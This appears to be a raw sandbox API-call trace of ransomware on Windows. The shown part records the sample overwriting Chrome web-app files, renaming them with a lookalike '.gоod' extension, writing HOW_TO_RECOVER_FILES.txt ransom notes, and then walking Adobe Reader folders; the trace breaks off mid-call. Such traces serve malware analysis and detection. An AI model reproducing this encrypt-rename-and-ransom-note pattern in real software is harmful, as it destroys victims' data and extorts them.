[0235.666] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0235.666] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0235.666] GetFileType (hFile=0x82c) returned 0x1 [0235.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0235.666] GetFileType (hFile=0x82c) returned 0x1 [0235.666] SetFilePointer (in: hFile=0x82c, lDistanceToMove=0, lpDistanceToMoveHigh=0x208ed4c8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x208ed4c8*=0) returned 0x28df6 [0235.666] WriteFile (in: hFile=0x82c, lpBuffer=0x3b19e78*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x208ed3b8, lpOverlapped=0x0 | out: lpBuffer=0x3b19e78*, lpNumberOfBytesWritten=0x208ed3b8*=0x10, lpOverlapped=0x0) returned 1 [0235.668] CloseHandle (hObject=0x82c) returned 1 [0235.668] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0235.668] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0235.668] GetFileType (hFile=0x82c) returned 0x1 [0235.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0235.668] GetFileType (hFile=0x82c) returned 0x1 [0235.668] ReadFile (in: hFile=0x82c, lpBuffer=0x3b1c390, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed448, lpOverlapped=0x0 | out: lpBuffer=0x3b1c390*, lpNumberOfBytesRead=0x208ed448*=0x1000, lpOverlapped=0x0) returned 1 [0235.781] CloseHandle (hObject=0x82c) returned 1 [0235.781] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ece50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed370) returned 1 [0235.781] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0235.781] GetFileType (hFile=0x82c) returned 0x1 [0235.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed2e0) returned 1 [0235.781] GetFileType (hFile=0x82c) returned 0x1 [0235.781] WriteFile (in: hFile=0x82c, lpBuffer=0x387d7a0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x208ed4f8, lpOverlapped=0x0 | out: lpBuffer=0x387d7a0*, lpNumberOfBytesWritten=0x208ed4f8*=0x1010, lpOverlapped=0x0) returned 1 [0235.782] CloseHandle (hObject=0x82c) returned 1 [0235.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico", lpFilePart=0x0) returned 0x84 [0235.782] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.gоod", lpFilePart=0x0) returned 0x89 [0235.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0235.782] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d10098, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d10098, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x88c0b60f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x28e06)) returned 1 [0235.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0235.782] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.gоod")) returned 1 [0235.783] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", lpFilePart=0x0) returned 0x88 [0235.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed470) returned 1 [0235.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), fInfoLevelId=0x0, lpFileInformation=0x38fb6f8 | out: lpFileInformation=0x38fb6f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d93e5c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x56d93e5c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x10)) returned 1 [0235.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed430) returned 1 [0235.784] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", lpFilePart=0x0) returned 0x88 [0235.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0235.784] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x82c [0235.784] GetFileType (hFile=0x82c) returned 0x1 [0235.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0235.784] GetFileType (hFile=0x82c) returned 0x1 [0235.784] GetFileSize (in: hFile=0x82c, lpFileSizeHigh=0x208ed4c8 | out: lpFileSizeHigh=0x208ed4c8*=0x0) returned 0x10 [0235.784] ReadFile (in: hFile=0x82c, lpBuffer=0x38fbad0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x208ed3f8, lpOverlapped=0x0 | out: lpBuffer=0x38fbad0*, lpNumberOfBytesRead=0x208ed3f8*=0x10, lpOverlapped=0x0) returned 1 [0238.344] CloseHandle (hObject=0x82c) returned 1 [0238.530] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", nBufferLength=0x105, lpBuffer=0x208ece00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", lpFilePart=0x0) returned 0x88 [0238.530] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed320) returned 1 [0238.530] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0238.531] GetFileType (hFile=0x768) returned 0x1 [0238.531] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed290) returned 1 [0238.531] GetFileType (hFile=0x768) returned 0x1 [0238.531] WriteFile (in: hFile=0x768, lpBuffer=0x3745cc8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x208ed308, lpOverlapped=0x0 | out: lpBuffer=0x3745cc8*, lpNumberOfBytesWritten=0x208ed308*=0x20, lpOverlapped=0x0) returned 1 [0238.532] CloseHandle (hObject=0x768) returned 1 [0238.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5", lpFilePart=0x0) returned 0x88 [0238.532] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.gоod", nBufferLength=0x105, lpBuffer=0x208ecfa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.gоod", lpFilePart=0x0) returned 0x8d [0238.532] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed430) returned 1 [0238.532] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), fInfoLevelId=0x0, lpFileInformation=0x208ed510 | out: lpFileInformation=0x208ed510*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56d93e5c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x56d93e5c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x8a645441, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x20)) returned 1 [0238.533] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed3f0) returned 1 [0238.533] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\Google Docs.ico.md5.gоod" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\google docs.ico.md5.gоod")) returned 1 [0238.533] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208ed110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x8d [0238.533] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed630) returned 1 [0238.534] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\_crx_aohghmighlieiainnegkcijnfilokake\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\_crx_aohghmighlieiainnegkcijnfilokake\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0238.536] GetFileType (hFile=0x768) returned 0x1 [0238.536] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ed5a0) returned 1 [0238.536] GetFileType (hFile=0x768) returned 0x1 [0238.536] WriteFile (in: hFile=0x768, lpBuffer=0x374e610*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ed6f8, lpOverlapped=0x0 | out: lpBuffer=0x374e610*, lpNumberOfBytesWritten=0x208ed6f8*=0x5d0, lpOverlapped=0x0) returned 1 [0238.537] CloseHandle (hObject=0x768) returned 1 [0238.538] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x208edb40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x67 [0238.538] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee060) returned 1 [0238.538] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Web Applications\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\web applications\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0238.538] GetFileType (hFile=0x768) returned 0x1 [0238.538] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edfd0) returned 1 [0238.538] GetFileType (hFile=0x768) returned 0x1 [0238.539] WriteFile (in: hFile=0x768, lpBuffer=0x3751ef8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x208ee128, lpOverlapped=0x0 | out: lpBuffer=0x3751ef8*, lpNumberOfBytesWritten=0x208ee128*=0x5d0, lpOverlapped=0x0) returned 1 [0238.540] CloseHandle (hObject=0x768) returned 1 [0238.541] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0238.541] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf", lpFilePart=0x0) returned 0x69 [0238.541] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ad40 [0238.541] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.542] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0238.542] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0238.542] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0238.542] FindNextFileW (in: hFindFile=0x134ad40, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 0 [0238.542] FindClose (in: hFindFile=0x134ad40 | out: hFindFile=0x134ad40) returned 1 [0238.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0238.542] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0238.542] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ee0f0) returned 1 [0238.542] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf", nBufferLength=0x105, lpBuffer=0x208edb90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf", lpFilePart=0x0) returned 0x69 [0238.542] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\*", lpFindFileData=0x208ede10 | out: lpFindFileData=0x208ede10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b040 [0238.543] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.543] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03ca2d4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf03ca2d4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf03ca2d4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0238.543] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02268b6, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02268b6, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02268b6, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="images", cAlternateFileName="")) returned 1 [0238.543] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf02bf3c0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf02bf3c0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf02bf3c0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0238.543] FindNextFileW (in: hFindFile=0x134b040, lpFindFileData=0x208eddd0 | out: lpFindFileData=0x208eddd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0238.543] FindClose (in: hFindFile=0x134b040 | out: hFindFile=0x134b040) returned 1 [0238.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208ee030) returned 1 [0238.543] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x208edff0) returned 1 [0238.544] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x208ed6c0) returned 1 [0238.544] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css", nBufferLength=0x105, lpBuffer=0x208ed160, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\combinepdf\\css", lpFilePart=0x0) returned 0x6d [0238.544] FindFirstFileW (in: 